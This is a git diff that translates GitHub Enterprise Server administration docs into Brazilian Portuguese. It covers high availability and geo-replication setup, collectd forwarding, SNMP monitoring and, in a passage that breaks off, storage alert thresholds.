   - /enterprise/admin/enterprise-management/creating-a-high-availability-replica
@@ -12,82 +12,83 @@ topics:
   - Enterprise
   - High availability
   - Infrastructure
-shortTitle: Create HA replica
+shortTitle: Criar réplica HA
 ---
+
 {% data reusables.enterprise_installation.replica-limit %}
 
-## Creating a high availability replica
+## Criar réplica de alta disponibilidade
 
-1. Set up a new {% data variables.product.prodname_ghe_server %} appliance on your desired platform. The replica appliance should mirror the primary appliance's CPU, RAM, and storage settings. We recommend that you install the replica appliance in an independent environment. The underlying hardware, software, and network components should be isolated from those of the primary appliance. If you are a using a cloud provider, use a separate region or zone. For more information, see ["Setting up a {% data variables.product.prodname_ghe_server %} instance"](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance).
-1. Ensure that both the primary appliance and the new replica appliance can communicate with each other over ports 122/TCP and 1194/UDP. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)."
-1. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license.
+1. Configure um novo appliance do {% data variables.product.prodname_ghe_server %} na plataforma desejada. O appliance réplica deve refletir as configurações de CPU, RAM e armazenamento do appliance primário. É recomendável instalar o appliance réplica em um ambiente independente. Hardware, software e componentes de rede subjacentes devem ser isolados dos do appliance primário. Se estiver em um provedor de nuvem, use uma região ou zona separada. Para obter mais informações, consulte [Configurar uma instância do {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance).
+1. Certifique-se de que o dispositivo primário e o novo dispositivo da réplica possam se comunicar entre si por meio das portas 122/TCP e 1194/UDP. Para obter mais informações, consulte "[Portas de rede](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)".
+1. Em um navegador, vá até o novo endereço IP do appliance réplica e faça o upload da sua licença do {% data variables.product.prodname_enterprise %}.
 {% data reusables.enterprise_installation.replica-steps %}
-1. Connect to the replica appliance's IP address using SSH.
+1. Conecte-se ao endereço IP do appliance réplica usando SSH.
   ```shell
   $ ssh -p 122 admin@<em>REPLICA IP</em>
   ```
 {% data reusables.enterprise_installation.generate-replication-key-pair %}
 {% data reusables.enterprise_installation.add-ssh-key-to-primary %}
-1. To verify the connection to the primary and enable replica mode for the new replica, run `ghe-repl-setup` again.
+1. Para verificar a conexão com o primário e habilitar o modo de réplica para a nova réplica, execute `ghe-repl-setup` novamente.
   ```shell
   $ ghe-repl-setup <em>PRIMARY IP</em>
   ```
 {% data reusables.enterprise_installation.replication-command %}
 {% data reusables.enterprise_installation.verify-replication-channel %}
 
-## Creating geo-replication replicas
+## Criar réplicas com replicação geográfica
 
-This example configuration uses a primary and two replicas, which are located in three different geographic regions. While the three nodes can be in different networks, all nodes are required to be reachable from all the other nodes. At the minimum, the required administrative ports should be open to all the other nodes. For more information about the port requirements, see "[Network Ports](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports/#administrative-ports)."
+Este exemplo de configuração usa um primário e duas réplicas, localizados em três regiões geográficas diferentes. Mesmo que os três nós estejam em redes diferentes, todos os nós precisam estar acessíveis entre si. No mínimo, as portas administrativas necessárias devem ficar abertas para todos os outros nós. Para obter mais informações sobre os requisitos de portas, consulte "[Portas de rede](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports/#administrative-ports)".
 
-1. Create the first replica the same way you would for a standard two node configuration by running `ghe-repl-setup` on the first replica.
+1. Crie a primeira réplica da mesma forma que você faria em uma configuração padrão de dois nós executando `ghe-repl-setup` na primeira réplica.
   ```shell
   (replica1)$ ghe-repl-setup <em>PRIMARY IP</em>
   (replica1)$ ghe-repl-start
   ```
-2. Create a second replica and use the `ghe-repl-setup --add` command. The `--add` flag prevents it from overwriting the existing replication configuration and adds the new replica to the configuration.
+2. Crie a segunda réplica e use o comando `ghe-repl-setup --add`. O sinalizador `--add` impede a substituição da configuração de replicação atual e adiciona a nova réplica à configuração.
   ```shell
   (replica2)$ ghe-repl-setup --add <em>PRIMARY IP</em>
   (replica2)$ ghe-repl-start
   ```
-3. By default, replicas are configured to the same datacenter, and will now attempt to seed from an existing node in the same datacenter. Configure the replicas for different datacenters by setting a different value for the datacenter option. The specific values can be anything you would like as long as they are different from each other. Run the `ghe-repl-node` command on each node and specify the datacenter.
+3. Por padrão, as réplicas são configuradas no mesmo centro de dados e agora tentarão propagar a partir de um nó existente no mesmo centro de dados. Configure as réplicas para datacenters diferentes definindo outros valores na opção do datacenter. Você pode especificar os valores que preferir, desde que sejam diferentes uns dos outros. Execute o comando `ghe-repl-node` em cada nó e especifique o datacenter.
 
-  On the primary:
+  No primário:
   ```shell
   (primary)$ ghe-repl-node --datacenter <em>[PRIMARY DC NAME]</em>
   ```
-  On the first replica:
+  Na primeira réplica:
   ```shell
   (replica1)$ ghe-repl-node --datacenter <em>[FIRST REPLICA DC NAME]</em>
   ```
-  On the second replica:
+  Na segunda réplica:
   ```shell
   (replica2)$ ghe-repl-node --datacenter <em>[SECOND REPLICA DC NAME]</em>
   ```
   {% tip %}
 
-  **Tip:** You can set the `--datacenter` and `--active` options at the same time.
+  **Dica:** você pode definir as opções `--datacenter` e `--active` simultaneamente.
 
   {% endtip %}
-4. An active replica node will store copies of the appliance data and service end user requests. An inactive node will store copies of the appliance data but will be unable to service end user requests. Enable active mode using the `--active` flag or inactive mode using the `--inactive` flag.
+4. Um nó de réplica ativo armazenará cópias dos dados do appliance e solicitações do usuário final do serviço. Um nó inativo armazenará cópias dos dados do appliance, mas não as solicitações do usuário final do serviço. Habilite o modo ativo usando o sinalizador `--active` ou use o sinalizador `--inactive` para o modo inativo.
 
-  On the first replica:
+  Na primeira réplica:
   ```shell
   (replica1)$ ghe-repl-node --active
   ```
-  On the second replica:
+  Na segunda réplica:
   ```shell
   (replica2)$ ghe-repl-node --active
   ```
-5. To apply the configuration, use the `ghe-config-apply` command on the primary.
+5. Para aplicar a configuração, use o comando `ghe-config-apply` no primário.
   ```shell
   (primary)$ ghe-config-apply
   ```
 
-## Configuring DNS for geo-replication
+## Configurar DNS de localização geográfica
 
-Configure Geo DNS using the IP addresses of the primary and replica nodes. You can also create a DNS CNAME for the primary node (e.g. `primary.github.example.com`) to access the primary node via SSH or to back it up via `backup-utils`.
+Configure o Geo DNS usando os endereços IP dos nós primário e das réplicas. Você também pode criar um DNS CNAME para o nó primário (por exemplo, `primary.github.example.com`) para acessar o nó primário via SSH ou fazer backup usando `backup-utils`.
 
-For testing, you can add entries to the local workstation's `hosts` file (for example, `/etc/hosts`). These example entries will resolve requests for `HOSTNAME` to `replica2`. You can target specific hosts by commenting out different lines.
+Para fins de teste, é possível adicionar entradas ao arquivo `hosts` da estação de trabalho local (por exemplo, `/etc/hosts`). Essas entradas de exemplo resolverão as solicitações de `HOSTNAME` para `replica2`. É possível segmentar hosts específicos comentando linhas diferentes.
 
 ```
 # <primary IP>     <em>HOSTNAME</em>
@@ -95,8 +96,8 @@ For testing, you can add entries to the local workstation's `hosts` file (for ex
 <replica2 IP>    <em>HOSTNAME</em>
 ```
 
-## Further reading
+## Leia mais
 
-- "[About high availability configuration](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration)"
-- "[Utilities for replication management](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)"
-- "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)"
+- [Sobre a configuração de alta disponibilidade](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration)
+- [Utilitários para gerenciamento de replicações](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)
+- [Sobre a replicação geográfica](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)
diff --git a/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/index.md b/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/index.md
index f2287f14df..d49ab6baee 100644
--- a/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/index.md
+++ b/translations/pt-BR/content/admin/enterprise-management/configuring-high-availability/index.md
@@ -1,12 +1,12 @@
 ---
-title: Configuring high availability
+title: Configurar alta disponibilidade
 redirect_from:
   - /enterprise/admin/installation/configuring-github-enterprise-server-for-high-availability
   - /enterprise/admin/guides/installation/high-availability-cluster-configuration
   - /enterprise/admin/guides/installation/high-availability-configuration
   - /enterprise/admin/guides/installation/configuring-github-enterprise-for-high-availability
   - /enterprise/admin/enterprise-management/configuring-high-availability
-intro: '{% data variables.product.prodname_ghe_server %} supports a high availability mode of operation designed to minimize service disruption in the event of hardware failure or major network outage affecting the primary appliance.'
+intro: 'O {% data variables.product.prodname_ghe_server %} dá suporte ao modo de alta disponibilidade da operação visando minimizar o tempo de inatividade do serviço em caso de falha de hardware ou interrupção prolongada da rede.'
 versions:
   ghes: '*'
 topics:
@@ -18,6 +18,6 @@ children:
   - /recovering-a-high-availability-configuration
   - /removing-a-high-availability-replica
   - /about-geo-replication
-shortTitle: Configure high availability
+shortTitle: Configurar alta disponibilidade
 ---
 
diff --git a/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md b/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
index 8d39fdb11a..75aefc778a 100644
--- a/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
+++ b/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring collectd
-intro: '{% data variables.product.prodname_enterprise %} can gather data with `collectd` and send it to an external `collectd` server. Among other metrics, we gather a standard set of data such as CPU utilization, memory and disk consumption, network interface traffic and errors, and the VM''s overall load.'
+title: Configurar collectd
+intro: 'O {% data variables.product.prodname_enterprise %} pode coletar dados com `collectd` e enviá-los para um servidor externo `collectd`. Reunimos um conjunto padrão de dados e outras métricas, como uso de CPU, consumo de memória e disco, tráfego e erros da interface de rede e carga geral da VM.'
 redirect_from:
   - /enterprise/admin/installation/configuring-collectd
   - /enterprise/admin/articles/configuring-collectd
@@ -16,14 +16,15 @@ topics:
   - Monitoring
   - Performance
 ---
-## Set up an external `collectd` server
 
-If you haven't already set up an external `collectd` server, you will need to do so before enabling `collectd` forwarding on {% data variables.product.product_location %}. Your `collectd` server must be running `collectd` version 5.x or higher.
+## Configurar um servidor externo `collectd`
 
-1. Log into your `collectd` server.
-2. Create or edit the `collectd` configuration file to load the network plugin and populate the server and port directives with the proper values. On most distributions, this is located at `/etc/collectd/collectd.conf`
+Se você ainda não configurou um servidor externo `collectd`, será preciso fazê-lo antes de ativar o encaminhamento `collectd` na {% data variables.product.product_location %}. Seu servidor `collectd` deve estar executando uma versão `collectd` 5.x ou superior.
 
-An example *collectd.conf* to run a `collectd` server:
+1. Faça login no servidor `collectd`.
+2. Crie ou edite o arquivo de configuração `collectd` para carregar o plugin de rede e preencher as diretivas de servidor e porta com os valores adequados. Na maioria das distribuições, esses dados ficam em `/etc/collectd/collectd.conf`
+
+Exemplo de *collectd.conf* para executar um servidor `collectd`:
 
     LoadPlugin network
     ...
@@ -32,34 +33,34 @@ An example *collectd.conf* to run a `collectd` server:
         Listen "0.0.0.0" "25826"
     </Plugin>
 
-## Enable collectd forwarding on {% data variables.product.prodname_enterprise %}
+## Habilitar o encaminhamento collectd no {% data variables.product.prodname_enterprise %}
 
-By default, `collectd` forwarding is disabled on {% data variables.product.prodname_enterprise %}. Follow the steps below to enable and configure `collectd` forwarding:
+Por padrão, o encaminhamento `collectd` fica desabilitado no {% data variables.product.prodname_enterprise %}. Siga as etapas abaixo para habilitar e configurar o encaminhamento `collectd`:
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-1. Below the log forwarding settings, select **Enable collectd forwarding**.
-1. In the **Server address** field, type the address of the `collectd` server to which you'd like to forward {% data variables.product.prodname_enterprise %} appliance statistics.
-1. In the **Port** field, type the port used to connect to the `collectd` server. (Defaults to 25826)
-1. In the **Cryptographic setup** dropdown menu, select the security level of communications with the `collectd` server. (None, signed packets, or encrypted packets.)
+1. Abaixo das configurações de encaminhamento de log, selecione **Enable collectd forwarding** (Habilitar encaminhamento collectd).
+1. No campo **Server address** (Endereço do servidor), digite o endereço do servidor `collectd` para o qual você deseja encaminhar as estatísticas do appliance do {% data variables.product.prodname_enterprise %}.
+1. No campo **Port** (Porta), digite a porta usada para conexão com o servidor `collectd` (o padrão é 25826).
+1. No menu suspenso **Cryptographic setup** (Configuração criptográfica), selecione o nível de segurança das comunicações com o servidor `collectd` (nenhum, pacotes assinados ou pacotes criptografados).
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Exporting collectd data with `ghe-export-graphs`
+## Exportar dados coletados com `ghe-export-graphs`
 
-The command-line tool `ghe-export-graphs` will export the data that `collectd` stores in RRD databases. This command turns the data into XML and exports it into a single tarball (.tgz).
+A ferramenta de linha de comando `ghe-export-graphs` exportará os dados que `collectd` armazenar em bancos de dados RRD. O comando transforma os dados em XML e os exporta para um único tarball (.tgz).
 
-Its primary use is to provide the {% data variables.contact.contact_ent_support %} team with data about a VM's performance, without the need for downloading a full Support Bundle. It shouldn't be included in your regular backup exports and there is no import counterpart. If you contact {% data variables.contact.contact_ent_support %}, we may ask for this data to assist with troubleshooting.
+Seu uso principal é fornecer à equipe do {% data variables.contact.contact_ent_support %} dados sobre o desempenho de uma VM sem que seja necessário baixar um pacote de suporte completo. Ele não deve ser incluído nas exportações de backup regulares e não há contrapartida de importação. Se você entrar em contato com o {% data variables.contact.contact_ent_support %} para fins de solução de problemas, esses dados podem ser solicitados.
 
-### Usage
+### Uso
 
 ```shell
 ssh -p 122 admin@[hostname] -- 'ghe-export-graphs' && scp -P 122 admin@[hostname]:~/graphs.tar.gz .
 ```
 
-## Troubleshooting
+## Solução de Problemas
 
-### Central collectd server receives no data
+### Central do servidor collectd não recebe dados
 
-{% data variables.product.prodname_enterprise %} ships with `collectd` version 5.x. `collectd` 5.x is not backwards compatible with the 4.x release series. Your central `collectd` server needs to be at least version 5.x to accept data sent from {% data variables.product.product_location %}.
+{% data variables.product.prodname_enterprise %} vem com a versão 5.x. de `collectd`. `collectd` 5.x não é retrocompatível com a série de versões 4.x. Seu servidor central `collectd` precisa ser da versão 5.x para aceitar os dados enviados pela {% data variables.product.product_location %}.
 
-For help with further questions or issues, contact {% data variables.contact.contact_ent_support %}.
+Em caso de dúvidas ou perguntas, entre em contato com o {% data variables.contact.contact_ent_support %}.
diff --git a/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/index.md b/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/index.md
index bb04a0812b..36fe5d37fe 100644
--- a/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/index.md
+++ b/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/index.md
@@ -1,6 +1,6 @@
 ---
-title: Monitoring your appliance
-intro: 'As use of {% data variables.product.product_location %} increases over time, the utilization of system resources, like CPU, memory, and storage will also increase. You can configure monitoring and alerting so that you''re aware of potential issues before they become critical enough to negatively impact application performance or availability.'
+title: Monitorar seu dispositivo
+intro: 'O aumento do uso da {% data variables.product.product_location %} ao longo do tempo acarreta também o aumento do uso dos recursos do sistema, como CPU, memória e armazenamento. Você pode configurar o monitoramento e os alertas para identificar os possíveis problemas antes que eles impactem negativamente o desempenho ou a disponibilidade do aplicativo.'
 redirect_from:
   - /enterprise/admin/guides/installation/system-resource-monitoring-and-alerting
   - /enterprise/admin/guides/installation/monitoring-your-github-enterprise-appliance
diff --git a/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md b/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
index 83d8dda6b5..58243da6a2 100644
--- a/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
+++ b/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
@@ -1,6 +1,6 @@
 ---
-title: Monitoring using SNMP
-intro: '{% data variables.product.prodname_enterprise %} provides data on disk usage, CPU utilization, memory usage, and more over SNMP.'
+title: Monitorar usando SNMP
+intro: 'O {% data variables.product.prodname_enterprise %} fornece dados sobre o uso de disco, CPU, memória e muito mais no SNMP.'
 redirect_from:
   - /enterprise/admin/installation/monitoring-using-snmp
   - /enterprise/admin/articles/monitoring-using-snmp
@@ -15,107 +15,101 @@ topics:
   - Monitoring
   - Performance
 ---
-SNMP is a common standard for monitoring devices over a network. We strongly recommend enabling SNMP so you can monitor the health of {% data variables.product.product_location %} and know when to add more memory, storage, or processor power to the host machine.
 
-{% data variables.product.prodname_enterprise %} has a standard SNMP installation, so you can take advantage of the [many plugins](http://www.monitoring-plugins.org/doc/man/check_snmp.html) available for Nagios or for any other monitoring system.
+O SNMP é um padrão comum para monitorar dispositivos em uma rede. É altamente recomendável ativar o SNMP para monitorar a integridade da {% data variables.product.product_location %} e saber quando adicionar mais memória, armazenamento ou potência do processador à máquina host.
 
-## Configuring SNMP v2c
+O {% data variables.product.prodname_enterprise %} tem uma instalação SNMP padrão que permite aproveitar [vários plugins](http://www.monitoring-plugins.org/doc/man/check_snmp.html) disponíveis para Nagios ou qualquer outro sistema de monitoramento.
+
+## Configurar SMTP v2c
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.access-monitoring %}
 {% data reusables.enterprise_management_console.enable-snmp %}
-4. In the **Community string** field, enter a new community string. If left blank, this defaults to `public`.
-![Field to add the community string](/assets/images/enterprise/management-console/community-string.png)
+4. No campo **Community string** (String de comunidade), insira a nova string da comunidade. Se deixada em branco, essa informação fica como `public` por padrão. ![Campo para adicionar a string da comunidade](/assets/images/enterprise/management-console/community-string.png)
 {% data reusables.enterprise_management_console.save-settings %}
-5. Test your SNMP configuration by running the following command on a separate workstation with SNMP support in your network:
+5. Teste a configuração SNMP executando o seguinte comando em uma estação de trabalho separada com suporte a SNMP na rede:
   ```shell
   # community-string is your community string
   # hostname is the IP or domain of your Enterprise instance
   $ snmpget -v 2c -c <em>community-string</em> -O e <em>hostname</em> hrSystemDate.0
   ```
 
-This should return the system time on {% data variables.product.product_location %} host.
+Isso deve retornar o horário do sistema no host do {% data variables.product.product_location %}.
 
-## User-based security
+## Segurança baseada no usuário
 
-If you enable SNMP v3, you can take advantage of increased user based security through the User Security Model (USM). For each unique user, you can specify a security level:
-- `noAuthNoPriv`: This security level provides no authentication and no privacy.
-- `authNoPriv`: This security level provides authentication but no privacy. To query the appliance you'll need a username and password (that must be at least eight characters long). Information is sent without encryption, similar to SNMPv2. The authentication protocol can be either MD5 or SHA and defaults to SHA.
-- `authPriv`: This security level provides authentication with privacy. Authentication, including a minimum eight-character authentication password, is required and responses are encrypted. A privacy password is not required, but if provided it must be at least eight characters long. If a privacy password isn't provided, the authentication password is used. The privacy protocol can be either DES or AES and defaults to AES.
+Se habilitar o SNMP v3, você poderá aproveitar o aumento da segurança baseada no usuário por meio do User Security Model (USM). É possível especificar um nível de segurança para cada usuário:
+- `noAuthNoPriv`: este nível de segurança não oferece autenticação nem privacidade.
+- `authNoPriv`: este nível de segurança oferece autenticação, mas não privacidade. Para consultar o appliance, você precisará de nome de usuário e senha (com pelo menos oito caracteres). As informações são enviadas sem criptografia, de modo semelhante ao SNMPv2. O protocolo de autenticação pode ser MD5 ou SHA, e o padrão é SHA.
+- `authPriv`: este nível de segurança oferece autenticação e privacidade. A autenticação (com senha de no mínimo oito caracteres) é necessária, e as respostas são criptografadas. Não é necessário usar uma senha de privacidade, mas, se houver, ela deve ter no mínimo oito caracteres. Se não houver senha de privacidade, a senha de autenticação será usada. O protocolo de privacidade pode ser DES ou AES, e o padrão é AES.
 
-## Configuring users for SNMP v3
+## Configurar usuários para o SNMP v3
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.access-monitoring %}
 {% data reusables.enterprise_management_console.enable-snmp %}
-4. Select **SNMP v3**.
-![Button to enable SNMP v3](/assets/images/enterprise/management-console/enable-snmpv3.png)
-5. In "Username", type the unique username of your SNMP v3 user.
-![Field to type the SNMP v3 username](/assets/images/enterprise/management-console/snmpv3-username.png)
-6. In the **Security Level** dropdown menu, click the security level for your SNMP v3 user.
-![Dropdown menu for the SNMP v3 user's security level](/assets/images/enterprise/management-console/snmpv3-securitylevel.png)
-7. For SNMP v3 users with the `authnopriv` security level:
-  ![Settings for the authnopriv security level](/assets/images/enterprise/management-console/snmpv3-authnopriv.png)
+4. Selecione **SNMP v3**. ![Botão para habilitar o SNMP v3](/assets/images/enterprise/management-console/enable-snmpv3.png)
+5. Em "Username" (Nome de usuário), digite o nome exclusivo do seu usuário SNMP v3. ![Campo para digitar o nome de usuário SNMP v3](/assets/images/enterprise/management-console/snmpv3-username.png)
+6. No menu suspenso **Security Level** (Nível de segurança), clique no nível de segurança do seu usuário SNMP v3. ![Menu suspenso para o nível de segurança do usuário SNMP v3](/assets/images/enterprise/management-console/snmpv3-securitylevel.png)
+7. Para usuários SNMP v3 com nível de segurança `authnopriv`: ![Configurações para o nível de segurança authnopriv](/assets/images/enterprise/management-console/snmpv3-authnopriv.png)
     - {% data reusables.enterprise_management_console.authentication-password %}
     - {% data reusables.enterprise_management_console.authentication-protocol %}
-8. For SNMP v3 users with the `authpriv` security level:
-  ![Settings for the authpriv security level](/assets/images/enterprise/management-console/snmpv3-authpriv.png)
+8. Para usuários SNMP v3 com nível de segurança `authpriv`: ![Configurações para o nível de segurança authpriv](/assets/images/enterprise/management-console/snmpv3-authpriv.png)
     - {% data reusables.enterprise_management_console.authentication-password %}
     - {% data reusables.enterprise_management_console.authentication-protocol %}
-    - Optionally, in "Privacy password", type the privacy password.
-    - On the right side of "Privacy password", in the **Protocol** dropdown menu, click the privacy protocol method you want to use.
-9. Click **Add user**.
-![Button to add SNMP v3 user](/assets/images/enterprise/management-console/snmpv3-adduser.png)
+    - Como alternativa, em "Privacy password" (senha de privacidade), digite a senha de privacidade.
+    - No lado direito de "Privacy password" (Senha de privacidade), no menu suspenso **Protocol** (Protocolo), clique no protocolo de privacidade que você deseja usar.
+9. Clique em **Add user** (Adicionar usuário). ![Botão para adicionar usuário SNMP v3](/assets/images/enterprise/management-console/snmpv3-adduser.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-#### Querying SNMP data
+#### Consultar dados SNMP
 
-Both hardware and software-level information about your appliance is available with SNMP v3. Due to the lack of encryption and privacy for the `noAuthNoPriv` and `authNoPriv` security levels, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports. We include this table if you're using the `authPriv` security level. For more information, see the "[OID reference documentation](http://oidref.com/1.3.6.1.2.1.25.4)." 
+As informações de hardware e software do appliance estão disponíveis no SNMP v3. Devido à falta de criptografia e privacidade para os níveis de segurança dw `noAuthNoPriv` e `authNoPriv`, excluimos a tabela `hrSWRun` (1.3.6.1.2.1.25.4) dos relatórios SNMP resultantes. Incluímos esta tabela para o caso de você estar usando o nível de segurança `authPriv`. Para obter mais informações, consulte a "[Documentação de referência do OID](http://oidref.com/1.3.6.1.2.1.25.4)".
 
-With SNMP v2c, only hardware-level information about your appliance is available. The applications and services within {% data variables.product.prodname_enterprise %} do not have OIDs configured to report metrics. Several MIBs are available, which you can see by running `snmpwalk` on a separate workstation with SNMP support in your network:
+Com o SNMP v2c, ficam disponíveis somente as informações em nível de hardware. Os aplicativos e serviços no {% data variables.product.prodname_enterprise %} não têm OIDs configurados para reportar métricas. Diversas MIBs estão disponíveis, o que pode ser visto ao executar `snmpwalk` em uma estação de trabalho à parte com suporte SNMP na rede:
 
 ```shell
-# community-string is your community string
-# hostname is the IP or domain of your Enterprise instance
+# community-string é a string de sua comunidade
+# hostname é o IP ou domínio da sua instância Enterprise
 $ snmpwalk -v 2c -c <em>community-string</em> -O e <em>hostname</em>
 ```
 
-Of the available MIBs for SNMP, the most useful is `HOST-RESOURCES-MIB` (1.3.6.1.2.1.25). See the table below for some important objects in this MIB:
+Entre os MIBs disponíveis para SNMP, o mais útil é `HOST-RESOURCES-MIB` (1.3.6.1.2.1.25). Consulte a tabela a seguir para ver objetos importantes dessa MIB:
 
-| Name | OID | Description |
-| ---- | --- | ----------- |
-| hrSystemDate.2 | 1.3.6.1.2.1.25.1.2 | The hosts notion of the local date and time of day. |
-| hrSystemUptime.0 | 1.3.6.1.2.1.25.1.1.0 | How long it's been since the host was last initialized. |
-| hrMemorySize.0 | 1.3.6.1.2.1.25.2.2.0 | The amount of RAM on the host. |
-| hrSystemProcesses.0 | 1.3.6.1.2.1.25.1.6.0 | The number of process contexts currently loaded or running on the host. |
-| hrStorageUsed.1 | 1.3.6.1.2.1.25.2.3.1.6.1 | The amount of storage space consumed on the host, in hrStorageAllocationUnits. |
-| hrStorageAllocationUnits.1 | 1.3.6.1.2.1.25.2.3.1.4.1 | The size, in bytes, of an hrStorageAllocationUnit |
+| Nome                       | OID                      | Descrição                                                                             |
+| -------------------------- | ------------------------ | ------------------------------------------------------------------------------------- |
+| hrSystemDate.2             | 1.3.6.1.2.1.25.1.2       | A noção dos hosts de data e hora locais de um dia.                                    |
+| hrSystemUptime.0           | 1.3.6.1.2.1.25.1.1.0     | Tempo transcorrido desde a última inicialização do host.                              |
+| hrMemorySize.0             | 1.3.6.1.2.1.25.2.2.0     | Quantidade de RAM no host.                                                            |
+| hrSystemProcesses.0        | 1.3.6.1.2.1.25.1.6.0     | Número de contextos de processo carregados ou em execução no host.                    |
+| hrStorageUsed.1            | 1.3.6.1.2.1.25.2.3.1.6.1 | Quantidade de espaço de armazenamento consumido no host, em hrStorageAllocationUnits. |
+| hrStorageAllocationUnits.1 | 1.3.6.1.2.1.25.2.3.1.4.1 | Tamanho em bytes de um hrStorageAllocationUnit.                                       |
 
-For example, to query for `hrMemorySize` with SNMP v3, run the following command on a separate workstation with SNMP support in your network:
+Por exemplo, para consultar `hrMemorySize` com SNMP v3, execute o seguinte comando em outra estação de trabalho com suporte a SNMP na sua rede:
 ```shell
-# username is the unique username of your SNMP v3 user
-# auth password is the authentication password
-# privacy password is the privacy password
-# hostname is the IP or domain of your Enterprise instance
+# username é o nome exclusivo do seu usuário do SNMP v3
+# auth password é a senha de autenticação
+# privacy password é a senha de privacidade
+# hostname é o IP ou domínio da sua instância do Enterprise
 $ snmpget -v 3 -u <em>username</em> -l authPriv \
   -A "<em>auth password</em>" -a SHA \
   -X "<em>privacy password</em>" -x AES \
   -O e <em>hostname</em> HOST-RESOURCES-MIB::hrMemorySize.0
 ```
 
-With SNMP v2c, to query for `hrMemorySize`, run the following command on a separate workstation with SNMP support in your network:
+Para consultar `hrMemorySize` com SNMP v2c, execute o seguinte comando em outra estação de trabalho com suporte a SNMP na sua rede:
 ```shell
-# community-string is your community string
-# hostname is the IP or domain of your Enterprise instance
+# community-string é a string da sua comunidade
+# hostname é o IP ou domínio da sua instância do Enterprise
 snmpget -v 2c -c <em>community-string</em> <em>hostname</em> HOST-RESOURCES-MIB::hrMemorySize.0
 ```
 
 {% tip %}
 
-**Note:** To prevent leaking information about services running on your appliance, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports unless you're using the `authPriv` security level with SNMP v3. If you're using the `authPriv` security level, we include the `hrSWRun` table.
+**Observação:** Para evitar vazamento de informações sobre serviços que estão em execução no aparelho, excluímos a tabela `hrSWRun` (1.3.6.1.2.1.25.4) dos relatórios SNMP resultantes, a menos que você esteja usando o nível de segurança `Priv` com SNMP v3. Incluímos a tabela `hrSWRun` para o caso de você estar usando o nível de segurança `authPriv`.
 
 {% endtip %}
 
-For more information on OID mappings for common system attributes in SNMP, see "[Linux SNMP OID’s for CPU, Memory and Disk Statistics](http://www.linux-admins.net/2012/02/linux-snmp-oids-for-cpumemory-and-disk.html)".
+Para obter mais informações sobre mapeamentos OID para atributos comuns do sistema no SNMP, consulte "[OID de SNMP do Linux para estatísticas de CPU, memória e disco](http://www.linux-admins.net/2012/02/linux-snmp-oids-for-cpumemory-and-disk.html)".
diff --git a/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md b/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
index fff12c9155..28954d5ae2 100644
--- a/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
+++ b/translations/pt-BR/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
@@ -1,6 +1,6 @@
 ---
-title: Recommended alert thresholds
-intro: 'You can configure an alert to notify you of system resource issues before they affect your {% data variables.product.prodname_ghe_server %} appliance''s performance.'
+title: Limites de alerta recomendados
+intro: 'É possível configurar um alerta para receber notificações sobre os problemas de recursos do sistema antes que eles afetem o desempenho do appliance do {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
   - /enterprise/admin/guides/installation/about-recommended-alert-thresholds
   - /enterprise/admin/installation/about-recommended-alert-thresholds
@@ -16,37 +16,38 @@ topics:
   - Monitoring
   - Performance
   - Storage
-shortTitle: Recommended alert thresholds
+shortTitle: Limites de alerta recomendados
 ---
-## Monitoring storage
 
-We recommend that you monitor both the root and user storage devices and configure an alert with values that allow for ample response time when available disk space is low.
+## Monitorar o armazenamento
 
-| Severity | Threshold |
-| -------- | --------- |
-| **Warning** | Disk use exceeds 70% of total available |
-| **Critical** | Disk use exceeds 85% of total available |
